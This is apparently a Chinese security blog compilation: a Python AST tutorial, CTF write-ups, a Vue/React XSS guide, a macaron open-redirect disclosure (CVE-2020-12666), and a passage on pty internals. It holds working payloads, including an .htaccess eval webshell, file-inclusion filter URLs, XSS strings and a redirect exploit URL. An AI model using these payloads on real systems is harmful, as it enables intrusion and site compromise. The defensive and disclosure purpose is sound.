Web,安全研究

Preface


抽象语法树(AST),即Abstract Syntax Tree的缩写。它是源代码语法结构的一种抽象表示。它以树状的形式表现编程语言的语法结构,树上的每个节点都表示源代码中的一种结构。之所以说语法是抽象的,是因为这里的语法并不会表示出真实语法中出现的每个细节。


Python内置一个ast库,其中存在一些内置方法生成,遍历,获取,解析 Python代码并获取ast树,但ast库的官方文档过于简陋,基本上无法当作学习文档。


最简单的Demo


import ast
import astpretty
res = ast.parse("a = 1+1")
astpretty.pprint(res)
Module(
    body=[
        Assign(
            lineno=1,
            col_offset=0,
            end_lineno=1,
            end_col_offset=7,
            targets=[Name(lineno=1, col_offset=0, end_lineno=1, end_col_offset=1, id='a', ctx=Store())],
            value=BinOp(
                lineno=1,
                col_offset=4,
                end_lineno=1,
                end_col_offset=7,
                left=Constant(lineno=1, col_offset=4, end_lineno=1, end_col_offset=5, value=1, kind=None),
                op=Add(),
                right=Constant(lineno=1, col_offset=6, end_lineno=1, end_col_offset=7, value=1, kind=None),
            ),
            type_comment=None,
        ),
    ],
    type_ignores=[],
)

Process finished with exit code 0


astpretty是一个第三方库,用来美化输出ast树


上面的输出结果就是,a = 1 + 1 这句语句对应的ast树的可读形式,
其中Module(body(是所有语句dump出来都会有的,不用管
由于a = 1 + 1是一句赋值语句,所以第一层为 Assign语法
对于每一种结构语法,都会自己对应的语法属性,比如这里的Assign,就存在targets(赋值对象),value(被赋的值),而这些语法属性自己又包含了自己的属性,一层一层嵌套






需要注意的是对于某些表达式,python的ast的遍历顺序是从后到前,从外到内,这个与php的ast遍历顺序不同,有点反人类
比如

request.arg.get(123)
func(a[:5])


第一个获取到的ast对象是 get(123)
第二个获取到的也是函数 func()


当然除了打印ast树,我们也可以直接输出ast树对应的节点
1.png
假设有一道CTF题目

#secret.py
def func():
    flag = "xxxxxxxxxxxxxxxxxxxxxxxxx"
    # guess flag


假如我们可以运行一段py脚本,但是不允许读文件,执行系统命令,我们该如何获取flag?

#user.py
import secret


最简单的办法是py2的co_const
image.png
co_const属性,可以获得一个函数定义块中被定义的常量值
ast增加节点
那如果是Py3 或者 secret.py中的flag不以常量方式赋值怎么办呢
拿下面的secret.py举个例子,假设我们需要想办法获取flag的值

#secret.py
import uuid
def check():
  # Example
  flag = f"flag{{{uuid.uuid4()}}}"


现在我们允许读取文件,但是我们无法获取到uuid的值


我们可以修改ast树,在赋值的下面加一句print的ast树,然后调用ast的eval运行此函数


首先查看一个pring(flag)的ast节点


import ast
import astpretty
res = ast.parse("print(flag)")
astpretty.pprint(res)
Module(
    body=[
        Expr(
            lineno=1,
            col_offset=0,
            end_lineno=1,
            end_col_offset=11,
            value=Call(
                lineno=1,
                col_offset=0,
                end_lineno=1,
                end_col_offset=11,
                func=Name(lineno=1, col_offset=0, end_lineno=1, end_col_offset=5, id='print', ctx=Load()),
                args=[Name(lineno=1, col_offset=6, end_lineno=1, end_col_offset=10, id='flag', ctx=Load())],
                keywords=[],
            ),
        ),
    ],
    type_ignores=[],
)




我们模仿这个AST树,用python代码生成对应的ast结构


import ast
func = ast.Name(id="print", ctx=ast.Load())
args = [ast.Name(id="flag", ctx=ast.Load())]
call = ast.Call(func=func, args=args, keywords=[])
node = ast.Expr(value=call)

然后把我们自己生成的节点,插入到check函数中


content = open("secret.py").read()
res = ast.parse(content)
res.body[1].body.insert(1,node)
ast.fix_missing_locations(res)




由于print(flag)与赋值语句在同一层
而res.body[1]是函数定义结构,res.body[1].body即为函数体内,所以在此处插入res.body[1].body[0]是赋值语句,所以为insert(1,node)


ast.fix_missing_locations函数作用是自动修复 ast结构的偏移 行号等杂项,需要调用,否则会报
TypeError: required field "lineno" missing from stmt


最后只需要编译运行我们的ast树即可
exec(compile(res, '', 'exec'))


由于我们运行的语句相当于重新定义了一个check函数,所以还需要运行一遍check函数


整个文件结构如下


import ast
content = open("secret.py").read()
func = ast.Name(id="print", ctx=ast.Load())
args = [ast.Name(id="flag", ctx=ast.Load())]
call = ast.Call(func=func, args=args, keywords=[])
node = ast.Expr(value=call)
res = ast.parse(content)
res.body[1].body.insert(1,node)
ast.fix_missing_locations(res)
exec(compile(res, '', 'exec'))
check()

ast修改节点

除了可以在下一行新增节点以外,我们还可以直接修改赋值节点,直接改为表达式节点将值输出


跟上面差不多,就不多介绍了


import ast
content = open("secret.py").read()
res = ast.parse(content)
value = res.body[1].body[0].value
func = ast.Name(id="print", ctx=ast.Load())
args = [value]
call = ast.Call(func=func, args=args, keywords=[])
node = ast.Expr(value=call)
res.body[1].body[0] = node
ast.fix_missing_locations(res)
exec(compile(res, '', 'exec'))
check()




res.body[1].body[0].value 就是赋值表达式所赋的值

ast删除节点


body是一个list,把对应节点pop就行了

#secret.py
import uuid
def check():
  flag = f"flag{{{uuid.uuid4()}}}"
  flag = "88888"
  print(flag)
import ast
import astpretty
content = open("secret.py").read()
func = ast.Name(id="print", ctx=ast.Load())
args = [ast.Name(id="flag", ctx=ast.Load())]
call = ast.Call(func=func, args=args, keywords=[])
node = ast.Expr(value=call)
res = ast.parse(content)
res.body[1].body.pop(1)
ast.fix_missing_locations(res)
astpretty.pprint(res)
exec(compile(res, '', 'exec'))
check()

遍历节点

以上内容只是对某单一节点进行修改,如果我们要修改所有某一特征节点时如何去做。
ast库提供了 visit方法,供开发者遍历所有节点


import ast
content = open("secret.py").read()
res = ast.parse(content)
class MyVisit(ast.NodeVisitor):
def visit_Assign(self,node):
  print(node.value)
  return node
m = MyVisit()
m.visit(res)
<_ast.JoinedStr object at 0x02F2F6B8>
<_ast.Constant object at 0x02F2F928>


开发者需要定义一个ast.NodeVisitor的子类,然后定义对应的visit_结构类型方法,处理特定的结构。
然后创建这个类对象,调用visit方法。遍历AST树


但此类只能进行ast的输出,如果需要一边遍历一边修改ast,增删改等,就需要继承另一个子类ast.NodeTransformer
假如我们把所有常量数字改为字符串


我们先看看字符串和数字的ast结构


import ast
import astpretty
res = ast.parse("a = 123\nv='123'")
astpretty.pprint(res)
Module(
    body=[
        Assign(
            lineno=1,
            col_offset=0,
            end_lineno=1,
            end_col_offset=7,
            targets=[Name(lineno=1, col_offset=0, end_lineno=1, end_col_offset=1, id='a', ctx=Store())],
            value=Constant(lineno=1, col_offset=4, end_lineno=1, end_col_offset=7, value=123, kind=None),
            type_comment=None,
        ),
        Assign(
            lineno=2,
            col_offset=0,
            end_lineno=2,
            end_col_offset=7,
            targets=[Name(lineno=2, col_offset=0, end_lineno=2, end_col_offset=1, id='v', ctx=Store())],
            value=Constant(lineno=2, col_offset=2, end_lineno=2, end_col_offset=7, value='123', kind=None),
            type_comment=None,
        ),
    ],
    type_ignores=[],
)

Process finished with exit code 0




很明显,他们都属于Constant结构,完全对应里面的Value属性
需要注意的是,在老的python版本里,这些常量值分别属于
ast.Num, ast.Str而不是ast.Constant


所以这个数字转字符串的遍历类如下

#case.py
a = 123
b = "231445"
def s():
  c= 3124235213
#exp.py
import ast
import astunparse
content = open("case.py").read()
res = ast.parse(content)
class MyVisit(ast.NodeTransformer):
def visit_Constant(self,node):
  if type(node.value) == int:
    node.value = str(node.value)
  return node
m = MyVisit()
node = m.visit(res)
print(astunparse.unparse(node))

a = '123'
b = '231445'
def s():
  c = '3124235213'
Process finished with exit code 0




astunparse是一个三方库,将ast树转化为python code


而如果需要删除ast节点就更简单了,在方法里return None即可

Introductionas

https://stackoverflow.com/questions/46388130/insert-a-node-into-an-abstract-syntax-tree
https://www.escapelife.site/posts/40a2fc93.html

- 阅读全文 -
CTF,Web

easycon

直接给了一句话木马
登上去看了好久没找到flag
发现bbbbbb.txt比较可疑,创建时间和其他文件一样,应该是出题人故意留的
图片.png
图片.png
图片.png


base64解发现是jpg图片头,python解码写个文件

data = 'xxxxxxxxxxxxxx'
import base64

open("1.jpg","wb").write(base64.b64decode(data))

图片.png

BlackCat

这道题有点脑洞了,扫目录啥的没发现,最后发现是背景音乐hex打开最后有源码
图片.png

<?php


if(empty($_POST['Black-Cat-Sheriff']) || empty($_POST['One-ear'])){
    die('谁!竟敢踩我一只耳的尾巴!');
}

$clandestine = getenv("clandestine");

if(isset($_POST['White-cat-monitor']))
    $clandestine = hash_hmac('sha256', $_POST['White-cat-monitor'], $clandestine);


$hh = hash_hmac('sha256', $_POST['One-ear'], $clandestine);

if($hh !== $_POST['Black-Cat-Sheriff']){
    die('有意瞄准,无意击发,你的梦想就是你要瞄准的目标。相信自己,你就是那颗射中靶心的子弹。');
}

echo exec("nc".$_POST['One-ear']);

比较敏感,感觉是数组绕过,本地试了还真是,当传入White-cat-monitor为数组时,$clandestine结果是NULL,那接下来就好办了,只需要传入Black-Cat-Sheriff和One-ear,本地计算一下hash一样就可以弹shell了

Easyphp2

http://183.129.189.60:10025/?file=GWHT.php
题目一看就是文件包含,想读源码发现伪协议里面的base64和rot13都被ban了,查了一下官方手册找到一个可以用的转换器
http://183.129.189.60:10025/?file=php://filter/read=convert.quoted-printable-encode/resource=GWHT.php
php://filter/read=convert.quoted-printable-encode/resource
读到的源码

<?php
    ini_set('max_execution_time', 5);

        if ($_COOKIE['pass'] !== getenv('PASS')) {
            setcookie('pass', 'PASS');
            die('<h2>'.'<hacker>'.'<h2>'.'<br>'.'<h1>'.'404'.'<h1>'.'<br>'.'Sorry, only people from GWHT are allowed to access this website.'.'23333');
        }
        ?>

            <h1>A Counter is here, but it has someting wrong</h1>

                <form>
                        <input type="""hidden" value="GWHT.php" name="file">
                                <textarea style="""border-radius: 1rem;" type="text" name="count" rows=10 cols=50></textarea><br />
                                        <input type="""submit">
                                            </form>

                                                <?php
                                                    if (isset($_GET["count"])) {
                                                        $count = $_GET["count"];
                                                        if(preg_match('/;|base64|rot13|base32|base16|<\?php|#/i', $count)){
                                                            die('hacker!');
                                                        }
                                                        echo "<h2>The Count is: " . exec('printf \'' . $count . '\' | wc -c') . "</h2>";
                                                            }
                                                            ?>


</body>

</html>

需要知道一个环境变量,读/proc/self/environ一直报错,用intruder模块跑pid
跑到/proc/27/environ成功读到pass为GWHT
图片.png
然后直接传cmd命令弹shell

easyphp

访问首页发现是审计题

 <?php
    $files = scandir('./'); 
    foreach($files as $file) {
        if(is_file($file)){
            if ($file !== "index.php") {
                unlink($file);
            }
        }
    }
    if(!isset($_GET['content']) || !isset($_GET['filename'])) {
        highlight_file(__FILE__);
        die();
    }
    $content = $_GET['content'];
    if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) {
        echo "Hacker";
        die();
    }
    $filename = $_GET['filename'];
    if(preg_match("/[^a-z\.]/", $filename) == 1) {
        echo "Hacker";
        die();
    }
    $files = scandir('./'); 
    foreach($files as $file) {
        if(is_file($file)){
            if ($file !== "index.php") {
                unlink($file);
            }
        }
    }
    file_put_contents($filename, $content . "\nHello, world");
?> 

大概意思,首先每次访问会删除除index.php以外的所有文件
然后两个简单正则校验,用户可以传入文件名和文件内容写入文件
但是写入文件的后面会加上换行Hello,World

尝试1

写入Webshell,发现不解析


图片.png
出现这种情况,一般是配置文件中不允许执行php文件,(这道题应该是只允许index.php执行)
图片.png
开发者既可以在主配置文件中更改 php_flag值,也可以在分布式配置文件(.htaccess)中更改此值
由于.htaccess优先度高于主配置文件
我们第一反应想到,我们先写.htaccess在写入一句话木马,但是由于题目在访问前后会删除其他所有文件,此路不通

尝试2

通过.htaccess的一种后门,自包含形式获取Webshell

php_value auto_append_file .htaccess
#<?php eval($_POST[1]);

.htaccess可以更改 auto_append_file 这个属性,这个属性是指php文件自动包含的文件,可以自己包含自己来获取webshell
trick1: #符号是注释
但是由于题目会在尾部加一个nhello world,我们需要注释尾部的内容,否者服务端会报错500(.htaccess不允许脏字符)
trick2: 符号可以转义换行
百度了一下没有找到多行注释,但我们可以通过符号转义换行,将最后一行和倒数第二行变为一行,然后#全部注释

php_value auto_append_file .htaccess
#<?php eval($_POST[1]);
# \
Hello, world

然后因为上面对content进行了一些正则,我们还是可以通过绕过正则,最终exp

php_value auto_prepend_fi\
le .htaccess
#<?php eval($_POST[1])?>
# \
Hello, world

Getshell后flag在根目录,readfile('/flag')即可

Break the Wall

一开始感觉是FFI,后面发现不是
然后觉得像宝塔那篇,通过PWN来绕过disable_function,
https://xz.aliyun.com/t/7990
不会pwn,溜了

EasyJava

Java垃圾,溜了

easyser

看了一会没思路,现在在护网已经2:30了,头好晕感觉要猝死了,睡了睡了

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安全研究

前言

如今大量前端开发皆采用现代化前端框架,如Vue和React,这类框架对于XSS提供了自带的防御措施,大部分情况下基本完全杜绝了XSS,但是在某些特定的场合下,依旧存在XSS风险,为了避免在一些渗透测试,安全服务中在这类框架上花无用的挖洞时间,此文来探讨一下此类框架是如何防御XSS以及如何产生XSS的
介于此,此文将尽可能少的介绍Vue和React的基础知识,不了解的读者可以视情况先学习一下前置知识在看此文

Vue

防御

我们知道,Vue采用数据绑定的方式,将变量绑定到dom树上,如下所示

<div id="app">
    <p>{{ message }}</p>
</div>

<script>
    new Vue({
        el: '#app',
        data: {
            message: 'Hello Vue.js!'
        }
    })
</script>

el代表dom的查询表达式,查询id=app的元素
然后将 {{}}里的message变量渲染为Hello Vue.js! 字符串
几乎所有的开发都这么写,那么假如我们message变量可控会如何

<div id="app">
    <p>{{ message }}</p>
</div>

<script>
    new Vue({
        el: '#app',
        data: {
            message: '<svg/onload=alert(1)>'
        }
    })
</script>

这里message被我们硬编码为了html代码,当然正常代码会动态给message赋值,这里效果一样,不额外举例,现在我们看看渲染的结果
图片.png
可以看到,即使我们可控这些变量,开发者也没有做任何过滤,我们的xss payload依旧被转义为实体字符。
这就是vue底层做的事,vue对于变量绑定,底层其实是用了Javascript原生的innerText方法,而innerText默认会把所有html元素进行转义,由于innerText也是Js原生方法,当然正常情况不可能绕过

所以有时候,我们在某些系统里狂插payload,大家会发现没有一个弹窗,可能这不是开发者防御意识高,只是人家用了框架,攻击的方式错了

隐患1

如果开发者有将html代码作为值传入到变量中的需求呢,比如动态生成表格,对于一个大型框架来说,肯定有这种渲染标签的功能,
对于Vue来说,这个功能的指令叫V-html

<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8">
    <title>Vue</title>
    <script src="https://cdn.staticfile.org/vue/2.2.2/vue.min.js"></script>
</head>
<body>
<div id="app">
    <p v-html="message"></p>
</div>

<script>
    new Vue({
        el: '#app',
        data: {
            message: '<svg/onload=alert(1)>'
        }
    })
</script>
</body>
</html>

图片.png
很明显感觉到,v-html指令应该就是调用的document.innerHTML方法
如果开发者用v-html方法进行参数传递,并且参数可控,那么即可造成XSS

隐患2

vue用的最多的方法还是{{}},双大括号变量绑定,这个双大括号本质和 v-text指令是一样的,就是上面说的调用的innerText方法,对于一般的普通系统来说,几乎开发者全程使用{{}}进行参数传递,很少会额外用到v-html指令,那么如果不用v-html就没有常见的XSS问题了嘛?
对于一种很常见的XSS case,vue是没有做任何的防御的

<body>
<div id="app">
    <a :href="url">click me</a>
</div>

<script>
    new Vue({
        el: '#app',
        data: {
            url: "javascript:alert(111)"
        }
    })
</script>
</body>

a标签的属性xss,vue是没有任何防御措施的,我们只需要传入javascript:alert(1)即可触发XSS
除此以外
iframe的src属性,object标签的src属性都是可以触发XSS的


:href 其实是 v-bind:href的缩写
下面两个写法一样

    <a :href="url">click me</a>
    <a v-bind:href="url">click me</a>

隐患3

在javascript函数里面使用原生危险函数,比如innerHTML eval等,这个不再多说

React

React习惯用类语法来编写

隐患1

跟上诉href src一样,react不会对链接产生的xss进行过滤

<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8" />
    <title>Hello React!</title>
    <script src="https://cdn.staticfile.org/react/16.4.0/umd/react.development.js"></script>
    <script src="https://cdn.staticfile.org/react-dom/16.4.0/umd/react-dom.development.js"></script>
    <script src="https://cdn.staticfile.org/babel-standalone/6.26.0/babel.min.js"></script>
</head>
<body>

<div id="example"></div>
<script type="text/babel">

    class WebSite extends React.Component {
        constructor() {
            super();

        }
        render() {
            return (
                <div>
                    <a href={this.props.site}>click me</a>
                </div>
            );
        }
    }
    ReactDOM.render(
        <WebSite site="javascript:alert(1)"/>,
        document.getElementById('example')
    );
</script>

</body>
</html>

隐患2

同样如上v-html,react也提供了一个渲染html的方法,不过这个办法名字比较吓人
dangerouslySetInnerHTML


<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8" />
    <title>Hello React!</title>
    <script src="https://cdn.staticfile.org/react/16.4.0/umd/react.development.js"></script>
    <script src="https://cdn.staticfile.org/react-dom/16.4.0/umd/react-dom.development.js"></script>
    <script src="https://cdn.staticfile.org/babel-standalone/6.26.0/babel.min.js"></script>
</head>
<body>

<div id="example"></div>
<script type="text/babel">

    class WebSite extends React.Component {
        constructor() {
            super();

        }
        render() {
            return (
                <div>
                    <p dangerouslySetInnerHTML={{__html:this.props.site}}></p>
                </div>
            );
        }
    }
    ReactDOM.render(
        <WebSite site="<svg/onload=alert(1)>"/>,
        document.getElementById('example')
    );
</script>

</body>
</html>

这个dangerouslySetInnerHTML跟vue的v-html比较类似

隐患3

同上,使用原生函数

总结

了解这些会有什么帮助

白盒审计

如果我们在对前端项目进行审核的时候,如果发现前端项目是用vue或者react进行编写的话,我们就可以只关注上面的危险函数关键字,避开其他的常规功能,比如全局搜索 如下关键字

:href
v-bind:href
:src
v-bind:src
v-html
------------------------------
href={
src={
dangerouslySetInnerHTML=

------------------------------
innerHTML
eval(
....

黑盒审计

当然,大部分时候我们是没有源代码的,我们一般面对的是一个webpack打包后的构建产物js,如果有sourcemap泄露的话,我们就可以当上面白盒进行审计,如果在没有sourcemap泄露的情况下,就必须硬怼黑盒环境了,当然黑盒会有一些技巧
一般来说,Vue和React不会单独使用,大部分与现在前端常用的UI框架结合使用,比如Vue+elementUI,React+Antdesign


这类UI框架有个很明显的特征,一般常用于CRM系统,就是什么后台管理系统这类的,像这个样子


图片.png
图片.png
图片.png
这种清一色的,左边上面菜单栏,中间内容,UI比较爽快的,大部分都是Vue+React的前端框架,所以在这里面疯狂扔<img src=#....是没有用的
正确的姿势是:
找输入链接的地方,比如网址,图片链接等输入框,插入javascript:alert(1)等,当然这里也有可能SSRF
找富文本,表格等,或者抓包发现往后端直接发送标签的地方,插入XSS poc
放弃掉其他功能,因为框架会做默认的转义

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开源安全

前言


这几天,我审查了多个web框架的源代码,了解了几个不同语言的web框架的处理流程逻辑,并且由于公司业务的需要,我对几个go的web框架进行了review,并且在昨天晚上审查出了一个框架层面的任意url跳转漏洞

macaron


macaron是一个小型,高拓展,精巧的go web框架,目前github有3k的star,语法上类似于gin框架。于是我对其进行了审查,最终挖掘出一枚任意302跳转漏洞,虽然发现的漏洞危害不大,但是挖掘过程却值得拿来一说,

框架


先说下背景,对于web框架的审查,一般着重点有如下几个

  1. 静态文件


因为一般框架都会提供静态资源的访问功能,用于访问静态文件夹,如果这部分处理不当,可能会造成目录穿越从而任意文件读取的问题

  1. 302跳转


这也是本文的漏洞,按照标准,用户注册的路由必须是/结尾,比如
@app.route('/user/')
如果没有以斜杠结尾,很多框架也会在背后默默添加上斜杠以符合标准
所以如果用户访问一个没有以斜杠结尾的路径时,框架会默认跳转到斜杠结尾的路径。如果框架没有任何判断,直接跳转的的url为 用户访问url + '/' 就会产生漏洞
Django的CVE-2018-14574就是这么产生的https://xz.aliyun.com/t/3302

  1. 模板渲染


一般来说,模板渲染和框架逻辑会进行解耦,比如flask和jinja那样,但是不可否认的是,模板渲染也是框架的一部分,并且很多模板都会用eval这种动态解析的危险函数,如果处理不当,极可能造成rce漏洞


审计框架常见的漏洞类型就是这些,当然,不同的情况肯定有不同的处理,并不是说除了上诉漏洞框架就不会有别的漏洞了,具体还是要看开发这写法,这也是局限于小型框架,如果是django那种功能复杂的大型框架,那肯定有更多的攻击面挖掘点去挖掘

漏洞点


对于一般的MVC框架,开发者会注册好 路由和函数的对应关系,然后框架中有一个全局索引去保存好这些对应关系,当一个新请求来临时,服务器会把 这个请求的信息全部打包好,扔给框架进行处理。这些信息就是我们常说的Context


比如说路径 请求方式, 协议, 等等,框架拿到这些信息以后,就会根据http服务器提供的路径,去全局索引中查找该回调哪个函数。


而如果没有找到路径匹配的函数,并且没有其他合适中间处理middleware,框架就会返回404


而本文的漏洞出现在静态资源处理函数中,我们来跟着源码分析一下

漏洞代码

package main
import "gopkg.in/macaron.v1"
func main() {
    m := macaron.Classic()
    m.Get("/", func(ctx *macaron.Context) string {
        return "Hello world!"
    })
    m.Use(macaron.Static("static"))
    m.Run()
}


payload放在了文末,建议读者先不直接看payload,看完代码分析,试试自己能不能想出payload

分析


git clone [https://github.com/go-macaron/macaron](https://github.com/go-macaron/macaron)


在本框架中,静态资源处理是一个中间件middleware
m.Use(macaron.Static("static"))


我们使用Goland来分析,右键Staic -> Go To -> Declaration 进入Static的函数声明

// Static returns a middleware handler that serves static files in the given directory.
func Static(directory string, staticOpt ...StaticOptions) Handler {
    opt := prepareStaticOptions(directory, staticOpt)

    return func(ctx *Context, log *log.Logger) {
        staticHandler(ctx, log, opt)
    }
}


由于我们使用的默认options,prepareStaticOptions函数并没有其他有用的信息,我们继续跟进staticHandler函数,看参数名字其实不难猜出,ctx就是上面讲的Context(请求信息上下文)log代表日志一般不用看,opt是选项


staticHandler就是导致漏洞的关键函数了,我们详细分析一下它,

func staticHandler(ctx *Context, log *log.Logger, opt StaticOptions) bool {

    file := ctx.Req.URL.Path
    // if we have a prefix, filter requests by stripping the prefix

    f, err := opt.FileSystem.Open(file)
    if err != nil {
        return false
    }
    defer f.Close()
    fi, err := f.Stat()
    if err != nil {
        return true // File exists but fail to open.
    }
    // Try to serve index file
    if fi.IsDir() {
        // Redirect if missing trailing slash.
        if !strings.HasSuffix(ctx.Req.URL.Path, "/") {
            http.Redirect(ctx.Resp, ctx.Req.Request, ctx.Req.URL.Path+"/", http.StatusFound)
            return true
        }
    }
    http.ServeContent(ctx.Resp, ctx.Req.Request, file, fi.ModTime(), f)
    return true
}


由于篇幅原因,我把只贴出了staticHandler产生漏洞的代码,没放出其余对漏洞产生无影响的代码。


不难看出,file就代表了我们请求的路径。
我们访问的HTTP包如果是POST //123./ HTTP/1.1
那么file就是//123./


opt.FileSystem在外部代码中查看得出指向http.FileSystem,这是一个go的内置包,可以打开文件和文件夹对象,所以后续代码用fi.IsDir()来判断是否打开的是文件夹。


这里就可以看出,这些代码是用来判断,用户访问的是静态目录下的一个文件还是文件夹,因为静态目录下的所有文件和文件夹都是可访问的。
然后我们仔细看看下面这几行代码

if !strings.HasSuffix(ctx.Req.URL.Path, "/") {
            http.Redirect(ctx.Resp, ctx.Req.Request, ctx.Req.URL.Path+"/", http.StatusFound)
            return true
        }


这几行代码的作用是,如果用户访问的是一个文件夹,但是访问路径不是以/结尾,就直接给路径加个/ 然后重定向。
看上去代码并没有任何问题,如果真要造成302任意跳转,比如跳到baidu.com,我们得在静态目录下新建一个叫 baidu.com 的文件夹,然后访问
[http://127.0.0.1:4000//baidu.com](http://127.0.0.1:4000//baidu.com)才可以.
包括我在第一次审计的时候也没有觉得有问题,各位读者如果看看到了这里,可以自己思考一下怎么利用。

利用












































公布答案
当访问 [http://127.0.0.1:4000//evoa.me%2f..](http://127.0.0.1:4000//evoa.me%252f..)即可跳到//evoa.me


我们来分析一下这个payload,由于路径是 .. 结尾,http.FileSystem会认为他是一个路径,fi.IsDir()为真,并且路径并不是/结尾,if !strings.HasSuffix(ctx.Req.URL.Path, "/")为true,继续进入if语句,最后返回的location为
Location: //evoa.me/../成功跳转

小坑


这里有个小坑,如果是在Chrome浏览器验证的话,
下面的payload都是无法成功的
[http://127.0.0.1:4000//evoa.me/..](http://127.0.0.1:4000//evoa.me/..)
[http://127.0.0.1:4000//evoa.me/%2e.](http://127.0.0.1:4000//evoa.me/%252e.)
[http://127.0.0.1:4000//evoa.me/%2e%2e](http://127.0.0.1:4000//evoa.me/%252e%252e)
[http://127.0.0.1:4000//evoa.me/.%2e](http://127.0.0.1:4000//evoa.me/.%252e)


具体原因是chrome会对访问路径进行标准化,/..会自动删去,不会发到后端,这里要感谢 @F1sh师傅的解答
而如果对 / 进行编码 %2f,chrome就不会自动标准化,就可以复现这个漏洞了

后话


Issue地址:https://github.com/go-macaron/macaron/issues/198
CVE:在考虑要不要申请,感觉很垃圾

CVE-2020-12666 真香

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安全研究

前言

pty(pseudo terminal)又称伪终端,大家比较熟的可能是tty (Teletype),也就是计算机的终端设备。这篇文章就是阐述何为pty,pty本质是什么,为什么我们渗透的时拿到shell后需要获取pty,没有pty为什么处处受限。pty和tty的关系又是什么

tty

在说明pty之前,需要介绍一下tty,tty可以直接理解为终端,而介绍tty需要大概说明一下计算机的历史,tty全称为Teletypes(电传打字机),是通过串行线用打印机键盘通过阅读和发送信息的东西,后来这东西被键盘和显示器取代,所以现在叫终端比较合适。
下面是早期计算机通过电传打字机交互的模型

UART 驱动
如上图所示,物理终端通过电缆连接到计算机上的 UART(通用异步接收器和发射器)。操作系统中有一个 UART 驱动程序用于管理字节的物理传输。
线规
上图中内核中的 Line discipline(行规范)用来提供一个编辑缓冲区和一些基本的编辑命令(退格,清除单个单词,清除行,重新打印),主要用来支持用户在输入时的行为(比如输错了,需要退格)。
TTY 驱动
TTY 驱动用来进行会话管理,并且处理各种终端设备。

UART 驱动、行规范和 TTY 驱动都位于内核中,它们的一端是终端设备,另一端是用户进程。因为在 Linux 下所有的设备都是文件,所以它们三个加在一起被称为 "TTY 设备",即我们常说的 TTY。

再来看一个linux控制台的模型

虽然这个模型看上去没什么问题,但随着linux的发展,终端固定再内核层过于僵化,某些进程需要自主实现一个终端模拟器,比如ssh,xterm。而tty完全由内核接管。用户态无法使用tty的功能,于是linux提出将终端仿真移动至用户态,这就是pty的由来

当创建一个伪终端时,会在 /dev/pts 目录下创建一个设备文件:

如果是通过 PuTTY 等终端仿真程序通过 SSH 的方式远程连接 Linux,那么终端仿真程序通过 SSH 与 PTY master side 交换数据。

线规

线规(line discipline),线规是终端(tty)子系统的一部分。线规将底层设备驱动程序代码与高层通用接口例程(比如read,write等系统调用)粘合在一起,并负责实现与设备关联的语义。
例如,标准线规会根据类Unix系统上终端的要求,处理从硬件驱动程序和写入设备的应用程序接收到的数据。在输入时,它处理特殊字符,例如中断字符(通常为Control-C)以及擦除和杀死字符(通常分别为backspacedelete和Control-U),并且在输出时,它将所有LF字符替换为CR / LF序列。
通俗来讲,线规会把用户输入的某些特殊字符替换成真正用户想表达的语义,比如退格键代表删除一个字符。而不是输入一个退格键的ascii码进去。
所以,为什么我们在渗透的时候弹回来的shell,如果直接输入退格键会出现乱码,就是因为退格键没有经过线规的处理,被直接当做了一个字符。
PS:线规处于内核层

pty

如上所说,为了使应用程序能有效使用终端功能,操作系统提供了伪终端功能。那pty的实现是怎么样的呢
pty由master和slave两端构成,在任何一端的输入都会传达到另一端。与tty不同,系统中并不存在pty这种文件,它是由pts(pseudo-terminal slave)和ptmx(pseudo-teiminal master)两种设备文件来实现的。

pts

(pseudo-terminal slave)即伪终端的slave端。在Linux的/dev/pts/文件夹下有对应设设备文件。
我们可以通过tty命令查看当前用户的登录终端,如下图所示:

ubuntu@VM-32-73-ubuntu:/dev$ tty
/dev/pts/1

当我们设备文件/dev/pts/1进行输出时,屏幕上会显示相应输出:

ubuntu@VM-32-73-ubuntu:/dev$ echo hello >/dev/pts/1
hello

倘若访问别的slave文件,如/dev/pts/2,则会返回权限不足错误:(root例外)

ubuntu@VM-32-73-ubuntu:/dev$ echo hello >/dev/pts/2
-bash: /dev/pts/2: Permission denied

所以,如果我们拥有root权限,我们理论上可以控制任何伪终端的输出

ptmx

(pseudo-terminal master)
ptmx是伪终端的master端。在/dev下仅有2个ptmx文件,其信息如下:

ubuntu@VM-32-73-ubuntu:/dev$ ll /dev/ptmx
crw-rw-rw- 1 root tty 5, 2 Jan 16 16:38 /dev/ptmx
ubuntu@VM-32-73-ubuntu:/dev$ ll /dev/pts/ptmx
c--------- 1 root root 5, 2 Mar 17  2018 /dev/pts/ptmx

讲讲现象背后的故事
当ubuntu系统创建一个新的terminal时(比如上面的pts/1)
首先执行ptm = open('/dev/ptmx',...)操作
接下来fork(),然后child进程将打开'/dev/pts/1',dup2到0,1和2句柄上,随后执行execl启动一个shell.
pts = open('/dev/pts/1',...);
dup2(pts, 0); // 对应lib库中stdin
dup2(pts, 1); // 对应lib库中stdout
dup2(pts, 2); // 对应lib库中stderr
close(pts);
execl("/system/bin/sh", "/system/bin/sh", NULL);
// 这样sh输入数据将全部来自pts,
// sh的输出数据也都全部输送到pts,也就直接送到了打开ptmx的新terminal中.

新terminal将启动GUI,捕获按键数据,然后写入ptm,这样pts将收到数据,进而sh将从stdin中获得数据,
于是sh将作进一步运算,将结果送给stdout或stderr,进而送给pts,于是ptm获得数据,然后terminal的GUI
将数据显示出来.

terminal捕获到key按键值 <--> ptm <--> pts/1 <--> stdin <--> shell读到数据
shell数据结果 <--> stdout <--> pts/1 <--> ptm <--> terminal显示

因为是master - slaver,所以ptm只有一个,pts可以有多个
我们用一个ssh的图来看

+----------+       +------------+
 | Keyboard |------>|            |
 +----------+       |  Terminal  |
 | Monitor  |<------|            |
 +----------+       +------------+
                          |
                          |  ssh protocol
                          |
                          ↓
                    +------------+
                    |            |
                    | ssh server |--------------------------+
                    |            |           fork           |
                    +------------+                          |
                        |   ↑                               |
                        |   |                               |
                  write |   | read                          |
                        |   |                               |
                  +-----|---|-------------------+           |
                  |     ↓   |                   |           ↓
                  |   +--------+   +-------+    |       +-------+  fork   +-------------+
                  |   |  ptmx  |<->| pts/0 |<---------->| shell |-------->| tmux client |
                  |   +--------+   +-------+    |       +-------+         +-------------+
                  |   |        |                |                               ↑
                  |   +--------+   +-------+    |       +-------+               |
                  |   |  ptmx  |<->| pts/2 |<---------->| shell |               |
